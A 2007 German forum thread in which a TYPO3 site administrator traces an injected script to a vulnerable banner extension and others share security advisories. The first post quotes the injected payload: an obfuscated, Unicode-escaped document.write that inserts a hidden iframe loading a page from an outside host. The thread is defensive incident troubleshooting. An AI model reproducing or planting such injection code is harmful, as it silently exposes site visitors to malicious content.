Zum Inhalt springen

iframe oberhalb <!DOCTYPE html

Erstellt am 20. Juni 2007 · 10 Antworten · letzte Antwort am 8. Juli 2007

Tags: Frage

Unbekannter Benutzer ·

Hallo,

in einer Typo3-Installation habe ich seit gestern ein Problem. Ganz oben im Quellcode der Browserausgabe befindet sich ein Iframe:
<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\
u0070\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0061\u006c\u0065\u0078\u0061\u002d\u0072\u0061\u006e\u006b\u002e\u0069\u006e\u0066\u006f\
u002f\u006c\u0069\u0062\u0072\u0061\u0072\u0069\u0065\u0073\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u002e\u0070\u0068\u0070\u0020\u0073\
u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\
u0066\u0072\u0061\u006d\u0065\u003e');</script>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html ...

Gut das kommt vermutlich über eine Lücke in Typo3 oder eine Extension rein.
Ich finde aber nicht die Stelle wo dies im Typo3 Quelltext eingsetzt wurde. Mit find und grep habe ich sämtliche Verzeichnis im Webdoc danach durchsucht - ohne Ergebnis.
Weis hier jemand weiter?

MFG

Unbekannter Benutzer ·

Halo ALCA74,

danke für den Hinweis. Dort ist beschrieben was da so alles ablaufen kann.
Unklar ist hier die Lücke in Typo3 oder Extension.
Ich würde gerne wissen in welcher Script-Datei der Text eingefügt wurde,
damit er ganz oben im Browserquelltext erscheinen kann.
Es gibt eine typo3_src-Version, darin liegt die maßgebliche index.php,
die wiederum enthält require (PATH_tslib.'index_ts.php'). Aber in dieser
index_ts.php wird wiederum viel required und verarbeitet - was man sicher
nicht auf die Schnelle blicken kann. Deshalb meine Frage.

Grüße
Vigor

ALCA74 schrieb

Hallo vigor

Da wurde Deine Site gehackt.

Lese mal diesen Artikel (http://www.heise.de/security/artikel/49687) bei Heise durch, ist ziemlich gut geschrieben.

Gruss
ALCA

ALCA74 ·

Hallo Vigor

Es muss nicht umdedingt im TYPO3 sein, es kann auch auf dem Server sein.
Nimm doch mit der Hotline des Hosters Kontakt auf.

Gruss
ALCA

Unbekannter Benutzer ·

Hallo ALCA74,

also ich bin der Linux-Administrator vom Server.
Auf den anderen Vhosts auf dem Server besteht das Problem eben nicht.
Auch auf dem Typo3-Vhost besteht das Problem auch nur bei Typo3.
Deswegen frage ich auch ganz gezielt nach.

Damit wir uns nicht falsch verstehen - ich administriere viele Linux-
Server. Und das Problem mit sicherheitstechnisch unglücklichen PHP-
Anwendungen habe ich öfters. Richtig wäre hier "löschen", Webanwendung
neuinstallieren, Sec-Patches und/oder Updates der Anwendungen einspielen
und neuaufbauen. Aber in diesem Fall geht organisatorisch nicht so einfach.

Grüße
Vigor

ALCA74 schrieb

Hallo Vigor

Es muss nicht umdedingt im TYPO3 sein, es kann auch auf dem Server sein.
Nimm doch mit der Hotline des Hosters Kontakt auf.

Gruss
ALCA

🙂

Unbekannter Benutzer ·

Hallo ttb,

danke für die Info.
Das macina_banners war in diesem Fall das Problem.
Kennst Du eine Maillingliste, die schnell über Typo3/Ext Sicherheitsproblem
infomiert?

Grüße
Vigor

ekki ·

Hi all,
auf typo3.org gibt es inzwischen eine Zusammenfassung der Erkenntnisse des TYPO3 Security Teams zu diesen Angriffen, nämlich unter
http://buzz.typo3.org/teams/security/article/massive-web-server-hacks-iframe-attacks-now-extended-to-typo3/

(deutsch unter
http://www.naw.info/blogs/typo3security/2007/07/03/angriffswelle-gegen-webserver-iframe-attacken-nun-auch-typo3)

Und die beste Quelle, um sofort von Sicherheitsupdates zu erfahren, ist natürlich http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-announce :-)

greets
/Ekki
__________________
Ekkehard Gümbel
naw.info net&works Internet Services GmbH, Hannover
http://www.naw.info